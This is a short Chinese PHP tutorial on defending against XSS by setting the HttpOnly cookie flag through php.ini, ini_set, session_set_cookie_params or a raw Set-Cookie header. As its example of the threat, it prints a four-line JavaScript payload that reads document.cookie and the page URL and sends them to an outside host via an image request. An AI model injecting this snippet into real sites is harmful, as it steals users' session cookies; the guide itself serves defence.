Home  >  Article  >  Backend Development  >  xss防御之php利用httponly防xss攻击_PHP

xss防御之php利用httponly防xss攻击_PHP

WBOY
WBOYOriginal
2016-06-01 11:55:431051browse

xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

复制代码 代码如下:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly

复制代码 代码如下:
//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

复制代码 代码如下:
header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn